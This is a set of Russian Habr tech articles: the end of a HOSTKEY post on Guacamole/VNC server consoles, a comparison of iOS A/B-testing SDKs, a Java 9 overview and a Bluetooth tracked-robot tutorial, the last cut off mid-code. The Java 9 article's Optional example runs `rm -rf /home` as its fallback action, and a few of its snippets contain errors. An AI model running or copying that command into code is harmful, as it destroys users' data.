jitem, err := json.Marshal(item)
if err != nil {
fmt.Println(err.Error())
return
}
fmt.Println(string(jitem))
```
Fence agents соответствуют типам используемого в нашей инфраструктуре оборудования. Они обращаются на сервер с docker-novnc, у которого есть доступ в сеть oVirt. Агент загружает консоль и забирает необходимые параметры хоста (IP и пароль), после чего декодирует полученные данные и отправляет запрос к API noVnc на роутер oVirt, откуда происходит обмен данными с API Guacamole. Агент передает на сервер запрос GET, в котором содержится IP-адрес и ID сервера, а также сессионный токен для сервера.
**Структура запроса:**
```
r.Get("/{id}/skey/{key}/id/{uid}/ovirt/pass/{upass}/port/{uport}/location/{uloc}", StageHandler)
```
После завершения обработки запроса клиент получает доступ к управлению оборудованием через консоль VNC.
**Пример открытой консоли для Windows:**
**Пример открытой консоли для CentOS:**
### Проблема горячих клавиш
Определенные комбинации клавиш невозможно нажать в веб-приложении, поскольку они зарезервированы ОС (например, Ctrl-Alt-Del или Alt-Tab) или браузером. Эту проблему можно решить вызовом меню навигации Apache Guacamole с помощью комбинации клавиш Ctrl-Alt-Shift (скрыть меню позволяет повторное нажатие этой комбинации). В нем можно выбрать метод ввода (текст, экранная клавиатура), включить режим эмуляции мыши, выбрать язык и часовой пояс, а также закрыть рабочую сессию.
**Англоязычная версия меню навигации:**
Консоль остается активной в течение двух часов, после чего происходит автоматическое закрытие сессии и необходимо повторить процесс получения доступа.
### Заключение
Использование Apache Guacamole упрощает [управление серверным оборудованием](https://hostkey.ru/about-us/invapi/) [различных производителей](https://hostkey.ru/dedicated-servers/). В будущем мы планируем разработать решение, позволяющее избежать автоматического закрытия консоли спустя два часа.
\_\_\_
*Кстати, в нашей панели управления серверами HOSTKEY*[*кроме описанных возможностей*](https://hostkey.ru/about-us/invapi/)*планируется расширение функциональности. Если вас интересуют дополнительные функции и особенности работы панели или нашего API — пишите в комментариях.*
*А специальный промокод*«***Я С ХАБРА***»*откроет врата щедрости: назовите его консультанту на сайте при размещении заказа — и получите дополнительную скидку.* [*Платить можно как всегда в рублях*](https://hostkey.ru/news/51-mezhdunarodnyj-khosting-provajder-hostkey-prodolzhaet-prinimat-oplatu-v-rublyakh-za-uslugi-v-evrope-i-ssha/)*с НДС российской компании или в евро — компании в Нидерландах.* | https://habr.com/ru/post/665810/ | null | ru | null |
# Инструменты для A/B-тестирования iOS-приложений
[](https://habrahabr.ru/company/redmadrobot/blog/276489/)
В данной статье я рассмотрю несколько инструментов для A/B-тестирования мобильных приложений с примерами и дам их краткую характеристику. Для успешного проведения тестирования также необходим сервис аналитики, в котором можно сравнивать результаты. Независимые сервисы аналитики мы сегодня рассматривать не будем, но затронем те возможности, которые есть внутри инструментов, о которых пойдет речь.
**Что такое A/B-тестирование?**A/B-тестирование — метод сравнения двух или более вариантов представления элементов сайта или мобильного приложения между собой с целью определить лучший из них и принять в качестве искомого в дальнейшем, чтобы в конечном итоге улучшить UX. Части пользователей демонстрируется версия сайта с одним расположением элементов на экране, остальным – с другим. Сравнение нескольких вариантов проводится одновременно в один и тот же период времени. Если вы подумываете о том, чтобы внедрить A/B-тестирование у себя на проекте, рекомендую почитать [статью](http://megamozg.ru/post/15190/) с массой полезных ссылок — от помощи в составлении тестов до оценки результатов. А вот [в этом материале](http://conversionxl.com/12-ab-split-testing-mistakes-i-see-businesses-make-all-the-time/) разобраны распространенные ошибки: недостаточно продолжительный промежуток времени для A/B-тестирования, пересечение экспериментов между собой, малая база пользователей и так далее.
A/B-тестирование мобильных приложений
-------------------------------------
Существует большое количество сервисов, позволяющих проводить A/B-тестирование сайтов, но если вы хотите использовать данный метод на мобильных приложениях, то здесь тоже есть из чего выбрать. Необходимый минимум для такого рода сервисов состоит из создания переменных и распределения их между аудиторией. На разработчиках приложения лежит обязанность правильно интерпретировать эти переменные: прямая замена текстовых и числовых данных в приложении, модификация интерфейса на основании значений.
В некоторых сервисах есть удобный визуальный редактор, позволяющий без изменения приложения создавать различные вариации. Но функциональность таких редакторов всё-таки сильно ограничена, с помощью них, например, не получится изменить интерфейс какого-то экрана так, чтобы при других модельных данных этот экран отображался стандартным образом. Для фреймворка это будет один и тот же экран, и изменения будут применяться повсеместно.
Перед нами стояла задача сравнить как текстовые варианты переменных (тексты ошибок, подсказок), так и изменение интерфейса приложения (например, наличие бокового меню и таббара). Из этого исходили при составлении нашего шорт-листа инструментов для A/B-тестирования. Все сервисы, о которых пойдет речь дальше, предоставляют SDK для iOS и Android, c Windows Phone сложнее, в этом случае использование сервисов возможно через HTTP-запросы.
### Apptimize
[apptimize.com](http://apptimize.com)
Есть **три способа** для создания варианта A/B-тестирования:
1. **Визуальный** (создается с помощью визуального редактора).
Позволяет в режиме реального времени с помощью визуального редактора изменить атрибуты элементов интерфейса (текст в UILabel, изображение в UIImageView). Измененное состояние будет новым вариантом:
2. **Блоки кода.**
Позволяет варьировать выполнение операций, например:
```
[Apptimize runTest:@"Dummy test" withBaseline:^{
//Базовая конфигурация
} andVariations:@{@"variation1": ^{
//Альтернативная конфигурация
}}];
```
3. **Динамические переменные.**
Варианты формируются в зависимости от разных значений. Переменные объявляются вне класса с помощью макросов
```
ApptimizeString(name, value), ApptimizeInt(name, value), ApptimizeDouble(name, value), ApptimizeBoolean(name, value), ApptimizeArrayOfStrings(name, value), ApptimizeDictionaryOfStrings(name, value), ApptimizeArrayOfInts(name, value), ApptimizeDictionaryOfInts(name, value), ApptimizeArrayOfDoubles(name, value) ...
```
Альтернативные значения переменных задаются через веб-сайт. Например:
```
ApptimizeString(screenName, @"стандартное значение");
```
При создании вариантов есть возможность выбрать базу пользователей для тестирования.
Фреймворк позволяет логировать события:
```
[Apptimize track:@"event name"]
[Apptimize track:@"event name" value:]
```
Также возможна агрегация событий других сервисов аналитики: Google Analytics, Mixpanel, Flurry, Localytics, Omniture.
**Цена и количество пользователей:** есть ограниченная бесплатная версия, 300$/месяц до 100 000 пользователей, выше — не указано.
### Optimizely
[optimizely.com](https://optimizely.com)
Сервис предоставляет те же три способа создания вариантов:
1. **Визуальный**
2. **Блоки кода**
```
[Optimizely codeBlocksWithKey:myCheckoutBlocksKey
blockOne:^{
// Первая конфигурация
}
blockTwo:^{
// Вторая конфигурация
}
defaultBlock:^{
// Базовая конфигурация
}];
```
3. **Переменные**
```
OptimizelyVariableKeyForString(screenName, @"Hello");
```
Как видим, возможности c Apptimize идентичные. На первый взгляд, визуальный редактор Optimizely чуть менее функционален. Optimizely возможно интегрировать с Fabric, но сервис имеет достаточно скудный инструмент для аналитики.
**Цена и количество пользователей:** цены не указаны, есть ограниченная бесплатная версия.
### Mixpanel
[mixpanel.com](https://mixpanel.com/)
Трекинг событий:
```
[mixpanel timeEvent:@"Загрузка изображения"]; // Временное событие
[self uploadImageWithSuccessHandler:^{
[mixpanel track:@"Загрузка изображения"];
}];
```
**Переменные** в Mixpanel называются твиками (tweaks). Для получения твика используется макрос *MPTweakValue*:
```
if( MPTweakValue(@"Выполнить альтернативную конфигурацию", NO) ) {
// Выполнить альтернативную конфигурацию
} else {
// Выполнить стандартную конфигурацию
}
```
Есть биндинг значений для изменения параметров на лету:
```
MPTweakBind(self.label, text, @"label text", @"Hello World");
```
Применяется в случае, если при нахождении пользователя на экране нужно динамически менять значения переменных (иными словами реализуется KVO для них).
Инструменты аналитики в Mixpanel достаточно хорошие, есть возможность выстраивать сложные фильтры, при этом используя дополнительные атрибуты, отправляемые с устройств.
**Визуальный редактор** есть, но работает не очень стабильно и часто «отваливается».
**Цена и количество пользователей:** можно выбрать вариант по количеству пользователей, либо по количеству событий за месяц. Например, 100 000 пользователей обойдутся в 250$, или за 350$ 2 миллиона событий.
### SplitForce
[splitforce.com](https://splitforce.com)
Здесь есть работа **с блоками**:
```
[[SFManager currentManager] experimentNamed:@"Имя эксперимента"
applyVariationBlock:^(SFVariation *variation) {
//Альтернативная конфигурация
} applyDefaultBlock:^(NSError *error) {
//Базовая конфигурация
}];
```
И возможность отслеживать время событий:
```
-(void)timedResultNamed:(NSString *)name;
```
**Визуального редактора** нет, агрегации аналитики тоже. Встроенная аналитика достаточно удобная.
**Цена и количество пользователей:** цены сопоставимы с прочими сервисами, например, 369$ за 150 000 пользователей.
### Amazon
[developer.amazon.com/appsandservices/apis/manage/ab-testing](https://developer.amazon.com/appsandservices/apis/manage/ab-testing)
Главным преимуществом перед аналогами является его бесплатность. Для того, чтобы использовать функциональность A/B-тестирования от Amazon, необходимо добавить в проект фреймворк Amazon Insights.
SDK предоставляет только «ручной» режим работы с проектами A/B тестирования:
```
[self.abTestClient variationsByProjectNames:[NSArray arrayWithObject:@"Имя проекта"]
withCompletionHandler:^(id variationSet, NSError\* error) {
//Меняем что-либо исходя из данных в переменной variationSet
}];
// Логирование события
id level3Start = [self.eventClient createEventWithEventType:@“Тип события"];
[self.eventClient recordEvent:level3Start];
```
На мой скромный взгляд, интерфейс слегка примитивный, но может, это и к лучшему.
Общие выводы
------------
1. Все сервисы кроме Amazon платные, что в некоторых случаях может стать преградой для запуска A/B-тестирования на проекте.
2. Все сервисы достаточно просты в использовании, внедрение в существующее приложение занимает минимум времени.
3. Все сервисы работают асинхронно, поэтому не стоит ожидать моментальных откликов при низкой скорости соединения с интернетом.
4. Некоторые из сервисов предлагают визуальный редактор. На практике, по моему мнению, вещь не так часто используемая.
5. Те SDK, которые представляют доступ к переменным через макросы, ограничивают себя в использовании. Внутри макроса нельзя задать динамическое значение, следовательно, получать те или иные значения. Таким образом, слегка затрудняется A/B-тестирование на сущностях, представленных в приложении большим количеством: либо придется перечислить все возможные переменные, либо получать в одной переменной данные по сущностям и разбирать значение на составляющие.
Сводная таблица
---------------
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| Название сервиса | Удобство встраивания (1-5 баллов) | UI-редактор (1-5 баллов) | Аналитика (1-5 баллов) | Цена за месяц | Поддержка (1-5 баллов) | Общий балл |
| Apptimize | 4 | 5 | 4 | 300$ за 100 000 пользователей | 4 | 17 |
| Optimizely | 4 | 3 | 3 | Не указано | 3 | 13 |
| SplitForce | 3 | 0 | 3 | 369$ за 150 000 пользователей | 4 | 10 |
| Mixpanel | 5 | 4 | 5 | 250$ за 100 000 пользователей или 2 миллиона событий за 350$ | 5 | 19 |
| Amazon A/B Testing(Beta) | 3 | 0 | 4 | Бесплатно | 3 | 10 | | https://habr.com/ru/post/276489/ | null | ru | null |
# Обзор Java 9
Всем доброго времени суток. В ноябре 2017 в Санкт-Петербурге прошло одно из самых примечательных событий года для отечественных Java-разработчиков: конференция Joker. На конференции было озвучено много тем, такие как GC, Concurrency, Spring Boot, JUnit 5 и другие, презентации по которым вы можете найти в открытом доступе на сайте конференции. Перечислять все смысла нет, так как по каждому топику можно составить отдельную статью с примерами и выдержками. Поэтому остановимся на главном.
Основной темой были нововведения в Java 9: ей посвятили аж две лекции, по модулям, и по всему остальному. Саму девятку Oracle изначально планировали выпустить еще в середине лета 2016, однако релиз был перенесен сначала на полгода, а потом и вовсе на вторую половину 2017. И вот, 21 сентября 2017, выход девятки состоялся.
Данная статья представлена именно как обзор новоиспеченной джавы, так как тема сама по себе большая, требующая целого цикла статей, которые, несомненно, будут при поступлении просьб от трудящихся.
Итак, по порядку. Как говорилось выше, нововведения в девятке можно разделить на два блока: общий и модульный. Придерживаясь хронологии Joker, начнем с первого.
1. Появление литералов в коллекциях
-----------------------------------
На самом деле литералы в коллекциях можно использовать с 7 версии, никто не запрещает выполнить следующее, если у вас установлен ProjectCoin:
```
List list = [3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5, 9];
Set set = { 2, 7, 31, 127, 8191, 131071, 524287 };
```
В 9 версии вы можете использовать нечто подобное без каких-либо предварительных подготовок:
```
List piDigits = List.of(3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5, 9);
Set primes = Set.of(2, 7, 31, 127, 8191, 131071, 524287);
```
или
```
import static java.util.Map.*;
platonicSolids = ofEntries(entry(4, "tetrahedron"), entry(6, "cube"), ...);
```
Так же было сказано несколько слов о generic Pair, а вернее об их отсутствии. Однако в 9 появился усовершенствованный костыль использования мапы в качестве пары:
```
Map.entry(lowest, highest)
```
Ждем [Project Valhalla](http://openjdk.java.net/projects/valhalla/).
2. Внедрение оператора Элвиса
-----------------------------
На самом деле этот оператор реализован на Groovy на синтаксическом уровне, но если вы попробуете написать на джаве нечто подобное
```
Person person = JohnGold ?: DefaultPerson;
```
компилятор предсказуемо ругнется. В девятке внедрили подобную логику, правда не на уровне синтаксиса. Ниже приведены два эквивалентных выражения на девятке и в уже привычном виде.
```
person = Objects.requireNonNullElse(JohnGold, DefaultPerson) //It will be work on Java 9
Optional maybePerson = JohnGold; // Familiar resolution
person = maybePerson.orElse(DefaultPerson);
```
3. Class Optional
-----------------
Если кратко, этот класс для сбора not-null объектов: вместо того, чтобы проводить null-проверки, можно складывать объекты в данный контейнер, который автоматически будет отсеивать несуществующие объекты. Появился в Java 8 и вполне логично, что в новой версии появились улучшения для данного класса. Метод *or* интуитивно понятен: будет возвращен вызывающий объект, если он не нулевой, в противном случае вернется аргумент.
```
maybePerson = maybePerson.or(() ->
JohnGold); // Another Optional
```
Следующий метод выполняет заданное действие над значением, если оно присутствует, в противном случае будет выполнено некое дефолтное значение.
```
maybePerson.ifPresentOrElse(System.out::println, // Consumer
() -> Runtime.exec("rm -rf /home")); // Runnable
```
Если значение присутствует, возвращает стрим только с этим значением, в противном случае стрим будет пустым.
```
Stream stream()
```
Возможность использовать flatMap для удаления нулевых результатов:
```
Stream users = people.map(Person::name)
.flatMap(Optional::stream);
```
4. Streams
----------
Появился целый ряд методов API, из которых можно получить стримы: Scanner.tokens, Matcher.results, ServiceLoader.stream, LocalDate.datesUntil,
StackWalker.walk, ClassLoader.resources, Process.children/descendants,
Catalog.catalogs, DriverManager.drivers. В самих стримах тоже появились новые методы takeWhile, dropWhile, а также новые сборщики flatMapping, filtering.
5. IO, Regrexp
--------------
Тут все также масштабно. Появилась возможность считывать байты с поступающего потока
```
byte[] bytes = Files.newInputStream(path).readAllBytes();
```
Перенаправлять байты с входящего потока на исходящий: InputStream.transferTo(OutputStream).
Появилась возможность разбить принимаемый классом Scanner объект на токены в виде отдельных стримов:
```
Stream tokens = new Scanner(path).useDelimiter("\\s\*,\\s\*").tokens();
```
Matcher.stream и Scanner.findAll выдают поток найденных результатов:
```
Pattern pattern = Pattern.compile("[^,]");
Stream matches = pattern.match(str).stream().map(MatchResult::group);
matches = new Scanner(path).findAll(pattern).map(MatchResult::group);
```
Matcher.replaceFirst/replaceAll теперь могут принимать на вход функцию, согласно которой будет произведена перестановка:
```
String result = Pattern.compile("\\pL{4,}")
.matcher("Mary had a little lamb")
.replaceAll(m -> m.group().toUpperCase());
// Yields "MARY had a LITTLE LAMB"
```
6. Обработка процессов
----------------------
Тут появился целый интерфейс [ProcessHandle](https://docs.oracle.com/javase/9/docs/api/java/lang/ProcessHandle.html), позволяющий контролировать нативные процессы. С его помощью можно мониторить жив ли процесс, информацию о нем, лист детей и прочие плюшки. Зачем он нужен, когда есть абстрактный класс Process, спросите вы. На самом деле ProcessHandle предоставляет гораздо больше возможностей, нежели Process. Последний в свою очередь также предоставляет доступ к IOE потокам, что сказывается на производительности.
7. Немного синтаксических изменений
-----------------------------------
Интерфейсы теперь могут иметь методы с модификаторами доступа private, private static и судя по всему в скором времени совсем перестанут быть интерфейсами. Нижнее подчеркивание *\_* больше не может являться именем переменной — гайки закручиваются. И, наконец, поддержка try-with-resources
```
void print (PrintWriter out, String[]lines){
try (out) { // Effectively final variable
for (String line : lines)
out.println(line.toLowerCase());
}
}
```
8. Старость
-----------
Появилось несколько деприкаций, куда же без этого. Классы Observable, Observer с новой версии будут считаться устаревшими, так же как и Object.finalize, Runtime.runFinalizersOnExit. Class.newInstance также теперь относят к Deprecated и аргументируют это тем, что он бросает проверяемые исключения конструктора без объявления их. Под ту же аннотацию попал весь Applet API, a также ряд модулей: java.activation, java.corba, java.transaction, java.xml.bind, java.xml.ws. Здесь были перечислены основные вещи, попавшие под аннотацию Deprecated и в презентацию Хорстмана, полный список всегда можно посмотреть у [оракла](https://docs.oracle.com/javase/9/docs/api/deprecated-list.html).
9.Самая главная новость
-----------------------
```
System.getProperty("java.version")
```
Теперь этот код вернет значение «9», а не «1.9.0.».
Также в Java 9 появилась модульность, которая вызвала бОльший шум, чем все вышеперечисленное. И это неудивительно, так как [статистика](https://jaxenter.com/) показывает, что это модульность была наиболее ожидаемой фичей среди разработчиков
Были вопросы что это вообще такое, как это будет взаимодействовать с Maven. Половина доклада ушла на обзор [OSGi](https://stackoverflow.com/questions/106222/what-does-osgi-solve), вторая половина на обзор [Jigsaw](http://openjdk.java.net/projects/jigsaw/) и объяснение почему это круто, превосходит по всем параметрам предмет первой половины доклада и то, что Jigsaw незаслуженно скромно принимается обществом. Судить об успешности этого проекта мы действительно можем только от общества, а пока нам остается ждать глобального перехода на Java 9, который, как сказали сами докладчики, будет происходить ближайшие 2-3 года. А пока можно посмотреть на самые ожидаемые изменения в следующей версии джавы и слушать шутки о том, будет ли она называться Java 10 или Java X.
 | https://habr.com/ru/post/342170/ | null | ru | null |
# Строим гусеничного Bluetooth-робота с камерой. Часть 3
В предыдущих сериях:
[Часть 1](http://habrahabr.ru/blogs/DIY/133414/)
[Часть 2](http://habrahabr.ru/blogs/DIY/135371/)
Ну что, все уже заказали запчасти и собрали роботов? Пора робота оживить.
Сегодня мы разберем программную начинку.
Вариант, который я предлагаю **максимально прост**. Не стоит ждать от него уникальных способностей. Его задача — просто ~~ехать~~ работать. Отказоустойчивость, плавность управления и дополнительные функции — это простор для творчества, который я оставляю каждому, чтобы не лишать этого удовольствия. Код весьма простой и оттого далеко не оптимальный и не защищенный и вообще не красивый. Если есть предложения по его улучшению — предлагайте свои варианты, прямо куски кода с пояснением зачем и почему так будет лучше.
Неконструктивная критика того, что сделано плохо — не особо нужна :) Я и так знаю про недостатки. А вот если что-то непонятно- спрашивайте, поясню.
Итак, поехали!
Разделим задачу на простые этапы:
**Бортовой контроллер**
* Управление моторами гусениц для движения вперед/назад и поворотов
* Управление сервоприводами камеры
* Прием по bluetooth и исполнение команд движения и управления сервоприводами камеры
**ПК/Ноутбук**
* Вычисление скорости моторов для задания направления движения
* Передача управляющих пакетов по bluetooth
* Подключение джойстика для удобства управления
#### Управление моторами гусениц для движения вперед/назад и поворотов
Поскольку у нас используется готовый MotorShield а не голый H-bridge или L293D/L298N, то ничего особенно сложного изобретать не придется. Мы вспользуемся библиотекой [AFMotor](http://www.freeduino.ru/arduino/files/AFMotor-08_12_2009.zip). Если у вас Motorshield V3 и вам нужна шина SPI — возьмите [модифицированный вариант](http://www.freeduino.ru/arduino/files/AFMotorSPI-08_12_2009.zip).
Комментарии я по привычке чаще всего пишу по-английски, так проще и короче.
Объявляем переменные для управления моторами. к 4му порту подключен правый мотор, к 3му — левый.
```
AF_DCMotor rMotor(4); //Right motor
AF_DCMotor lMotor(3); //Left motor
```
в зависимости от заданного направления и скорости коммандуем моторам вращаться (для левого мотора):
```
switch (lDirection){
case 0:
lMotor.run(RELEASE);
break;
case 1:
lMotor.run(FORWARD);
lMotor.setSpeed(lSpeed);
break;
case 2:
lMotor.run(BACKWARD);
lMotor.setSpeed(lSpeed);
break;
}
```
Для правого мотора то же самое:
```
switch (rDirection){
case 0:
rMotor.run(RELEASE);
break;
case 1:
rMotor.run(FORWARD);
rMotor.setSpeed(rSpeed);
break;
case 2:
rMotor.run(BACKWARD);
rMotor.setSpeed(rSpeed);
break;
}
```
lDirection (или rDirection) принимает значения:
0 — остановить мотор
1 — вращение вперед
2 — вращение назад.
#### Управление сервоприводами камеры
Для управления сервоприводами объявляем два объекта panServo(отвечает за вращение камеры) и tiltServo (отвечает за наклон). Так как сервопривод механический и поворачивается не моментально, то введем переменную для задержки, требуемой приводу для отработки команды на поворот (15 мсек вполне достаточно)
```
Servo panServo, tiltServo;
long interval = 15; // interval at which to control servo
long previousMillis = 0;
unsigned long currentMillis;
```
previousMillis и currentMillis используются для того, чтобы в цикле управления не ждать тупо, когда отработает серво. Проверяем — если со времени последней команды не прошло 15 мсек, то командовать сервой бесполезно — она еще занята.
Кусок, отвечающий за вращение камеры:
```
//Rotate camera
currentMillis = millis();
if(currentMillis - previousMillis > interval) {
previousMillis = currentMillis;
if (lastPan!=pan) panServo.write(pan); // tell pan servo to go to position
if (lastTilt!=tilt) tiltServo.write(tilt); // tell tilt servo to go to position
lastPan=pan;
lastTilt=tilt;
}
```
#### Прием по bluetooth и исполнение команд движения и управления сервоприводами камеры
Bluetooth модуль с точки зрения Arduino — просто последовательный (UART) порт.
Поэтому мы будем в цикле опрашивать проверять — пришло ли что-то от компьютера. Если в буфере что-то нашлось, то ищем в потоке начало пакета — байт $FF (крайние положения сервоприводов и значения скоростей двигателей 255 практически бесполезны — сервы упираются раньше, а скорость 250-255 не отличается, поэтому в потоке такое значение будет встречаться крайне редко и это позволит нам выловить начало пакета, можно увеличить надежность, усложнив алгоритм, но нам вполне хватит и этого).
Обнаружив заголовок, принимаем байт, в котором закодировано направление двигателей по 2 бита на двигатель. Затем считываем скорости двигателей — по 1 байту на двигатель (lSpeed, rSpeed) и положения сервоприводов камеры (pan, tilt).
```
if (Serial.available()>0) {
Header=Serial.read();
//If header found then get and process Cmd
if (Header==255){
while(Serial.available()<5){};
Direction=Serial.read();
lSpeed=Serial.read();
rSpeed=Serial.read();
pan=Serial.read();
tilt=Serial.read();
```
Дальше выделяем направления для правого и левого двигателей
```
lDirection=Direction & 0x03;
rDirection=(Direction & 0x0C) >> 2;
```
и если направление или скорость изменились с последней принятой команды, то устанавливаем скорости двигателей и вращаем камеру.
Вот и весь основной рабочий цикл:
```
void loop() {
if (Serial.available()>0) {
Header=Serial.read();
//If header found then get and process Cmd
if (Header==255){
while(Serial.available()<5){};
Direction=Serial.read();
lSpeed=Serial.read();
rSpeed=Serial.read();
pan=Serial.read();
tilt=Serial.read();
lDirection=Direction & 0x03;
rDirection=(Direction & 0x0C) >> 2;
//Left
if ((lastlDir!=lDirection) or (lastlSpeed!=lSpeed)){
switch (lDirection){
case 0:
lMotor.run(RELEASE);
break;
case 1:
lMotor.run(FORWARD);
lMotor.setSpeed(lSpeed);
break;
case 2:
lMotor.run(BACKWARD);
lMotor.setSpeed(lSpeed);
break;
}
lastlDir=lDirection;
lastlSpeed=lSpeed;
}
//Right
if ((lastrDir!=rDirection) or (lastrSpeed!=rSpeed)){
switch (rDirection){
case 0:
rMotor.run(RELEASE);
break;
case 1:
rMotor.run(FORWARD);
rMotor.setSpeed(rSpeed);
break;
case 2:
rMotor.run(BACKWARD);
rMotor.setSpeed(rSpeed);
break;
}
lastrDir=rDirection;
lastrSpeed=rSpeed;
}
//Rotate camera
currentMillis = millis();
if(currentMillis - previousMillis > interval) {
previousMillis = currentMillis;
if (lastPan!=pan) panServo.write(pan); // tell pan servo to go to position
if (lastTilt!=tilt) tiltServo.write(tilt); // tell tilt servo to go to position
lastPan=pan;
lastTilt=tilt;
}
}
}
}
```
Как видите, проще уже практически некуда :)
[Скачать скетч](http://code.google.com/p/r-rc-robot/downloads/detail?name=RCTank.zip&can=2&q=) можно со [страницы проекта](http://code.google.com/p/r-rc-robot/downloads/list) в Google code.
Исполнять команды мы шасси научили. Теперь надо научиться отправлять их.
Кому лень разбираться в программировании или неохота ставить Delphi, могут скачать [скомпилированный вариант](http://r-rc-robot.googlecode.com/files/RCTank1.1.0.7.zip)
(работает с джойстиком Logitech Extreme 3D Pro или китайским геймпэдом EasyTouch).
С остальными идем дальше :)
Нам понадобится:
* Delphi 2010 (можно и Delphi 7, просто пару строк подправить нужно в файле проекта)
* Компонент TComPort из открытой [ComPort Library](http://sourceforge.net/projects/comport/files/comport/4.11/) (у меня установлена 4.11с)
* Компоненты TjvHIDDevice, TjvHIDDeviceController из [JEDI VCL](http://sourceforge.net/projects/jvcl/files/JVCL%203/). Я использую v3.38, вы можете скачать посвежее. Ставьте целиком, пригодится
#### Вычисление скорости моторов для задания направления движения
Движение вперед и назад сложностей не вызывает — просто задаем одинаковые скорости левого и правого моторово и одинаковое направление.
Для поворотов в движении вводим понятие Steer — значение отклонения от прямого движения. Скорости двигателей вычисляем для движения вперед и назад так:
```
if Speed>0 then begin
//Forward
//Left/Right turn
lSpeed:=Speed-Steer;
rSpeed:=Speed+Steer;
if lSpeed<0 then lSpeed:=0;
if rSpeed<0 then rSpeed:=0;
if lSpeed>MaxSpeed then lSpeed:=MaxSpeed;
if rSpeed>MaxSpeed then rSpeed:=MaxSpeed;
end else begin
//Backward
//Left/Right turn
lSpeed:=Speed+Steer;
rSpeed:=Speed-Steer;
if lSpeed>0 then lSpeed:=0;
if rSpeed>0 then rSpeed:=0;
if lSpeed<(-MaxSpeed) then lSpeed:=-MaxSpeed;
if rSpeed<(-MaxSpeed) then rSpeed:=-MaxSpeed;
end;
```
То есть при движении вперед из скорости левого двигателя отклонение вычитаем, к скорости правого — прибавляем. Получается эффект подтормаживания одной из гусениц и шасси плавно поворачивает, не останавливаясь полностью. При движении назад знаки просто меняются.
Ну и проверяем, не вышла ли скорость за максимально допустимые значения. В частности, это пригодится тем, у кого питание моторов напряжением выше чем им положено — просто ограничьте максимальную скорость и моторы будут целы.
Примеры по управлению:
**ехать вперед** — направление обоим моторам «1», скорость одинаковую
**ехать назад** — направление обоим моторам «2», скорость одинаковую
для поворота **в вдвижении влево/вправо** задаем направление одинаковое, скорости разные. Поворачивает в сторону, скорость которой меньше.
для **поворота на месте** — скорость одинаковая, направление моторов разное — развернется вокруг центра.
**остановка** — обоим моторам направление «0»
#### Передача управляющих пакетов по bluetooth
При добавлении bluetooth модуля в ПК образуется 2 виртуальных COM порта — один входящий, один исходящий.
Для подключения к роботу нужно всего навсего открыть исходящий порт. Можно определить в списке портов в настройках bluetooth или методом перебора — при подключении к правильному программа не будет ругаться и светодиод на модуле перестает мигать — соединение установлено, можно считать, что мы подключены напрямую к роботу.
```
procedure TfTank.bConnectClick(Sender: TObject);
begin
if Tank.Connected then begin
Tank.Disconnect;
bConnect.Caption:='Connect';
end else begin
Tank.Port:=cbPort.Text;
Tank.Connect;
bConnect.Caption:='Disconnect';
MessageBeep(MB_ICONINFORMATION);
end;
end;
```
Для удобства я написал небольшой класс TRCTank, который реализует все действия по связи с роботом.
```
TRCTank=class
private
fPort:string;
ComPort:TComPort;
Cmd, lastCmd:TControlPacket;
fConnected:Boolean;
function isConnected: boolean;
protected
public
constructor Create;
destructor Destroy;override;
procedure Connect;
procedure Disconnect;
procedure SendCommand(lDir,left, rDir, right, pan, tilt:Byte);
property Port:string read fPort write fPort;
property Connected:boolean read isConnected;
end;
```
Connect и Disconnect по сути просто открывают/закрывают порт ну и проверяют, текущее состояние, чтобы не пытаться открыть открытый или закрыть закрытый порт.
Чтобы послать команду роботу формируем заголовок, который будет ловить робот (у нас байт с кодом 255). А затем записываем команды в том порядке, как их ждет робот. Получается такая структура
```
TControlPacket=record
Header,
Direction,
lSpeed, //left motor speed
rSpeed :Byte;//right motor speed
pan,
tilt :Byte; //Camera pan & tilt
end;
```
В функции отправки команды единственный момент, который стоит упомянуть — упаковка направлений для обоих двигателей в один байт смещением на 2 бита. Остальное очевидно.
```
procedure TRCTank.SendCommand;
begin
if not fConnected then Exit;
Cmd.Header:=255;
Cmd.Direction:=lDir + rDir shl 2;
Cmd.lSpeed:=left;
Cmd.rSpeed:=right;
Cmd.pan:=pan;
Cmd.tilt:=tilt;
if (lastCmd.Direction=Cmd.Direction) and
(lastCmd.lSpeed=Cmd.lSpeed) and
(lastCmd.rSpeed=Cmd.rSpeed) and
(lastCmd.pan=Cmd.pan) and
(lastCmd.tilt=Cmd.tilt) then Exit;
ComPort.Write(cmd, SizeOf(cmd));
lastCmd:=Cmd;
end;
```
#### Подключение джойстика для удобства управления
К сожалению, документации по работе с HID устройствами толковой в интернете не так много. В итоге я перебрал кучу устаревших кодов, которые отправляют к работе еще через midi порт или рассматривают джойстики как устройство с 2мя осями и 4 кнопками. Меня такой вариант не устраивал. Информации по компоненту TjvJoystick вообще нигде не было, поэтому наткнулся я на него случайно. А жаль, к этому моменту я уже написал свой компонент :) Так что если не поленитесь разобраться, то можете воспользоваться готовым компонентом из JEDI VCL.
Я же работаю с HID устройством напрямую и анализирую Report от него побайтово. Зато доступны все оси джойстика (у EasyTouch их 4) и все кнопки (10-12 у моих джойстиков).
Работает это так: с помощью компонента TjvHIDDeviceController на форме мы получаем список HID устройств в системе и выводим в комбобокс. Выбранный девайс отдаем объекту класса TRjoystick вызовом SelectJoystickByID(VID, PID: Word); (Выбирается по VendorID и ProductID — их можно посмотреть например в диспетчере устройств системы).
Класс TRjoystick выполняет checkout, получая возможность принимать репорты от джойстика, расшифровывает значения, устанавливает свойства кнопок и осей и вызывает процедуру обработчика. В нашей программе обработчик выглядит так:
```
procedure TfTank.OnJoyData;
var
Hat:THatPosition;
CenterCamera:Boolean;
begin
Hat:=hCenter;
CenterCamera:=False;
//Easy touch joystick
if (joyPID=6) and (joyVID=121) then begin
scrPitch.Position:=TREasyTouchJoystick(Joy).rZ;
scrAileron.Position:=TREasyTouchJoystick(Joy).Z;
scrRudder.Position:=TREasyTouchJoystick(Joy).X;
scrThrottle.Position:=TREasyTouchJoystick(Joy).Y;
cbFire.Checked:=TREasyTouchJoystick(Joy).Btn1;
cbAltFire.Checked:=TREasyTouchJoystick(Joy).Btn10;
Hat:=TREasyTouchJoystick(Joy).Hat;
CenterCamera:=TREasyTouchJoystick(Joy).Btn2;
Speed:=Round(((TREasyTouchJoystick(Joy).rZ)-127)*2);
Steer:=Round((TREasyTouchJoystick(Joy).Z)-127)*2;
end;
//Logitech Extreme 3D Pro
if (joyPID=49685) and (joyVID=1133) then begin
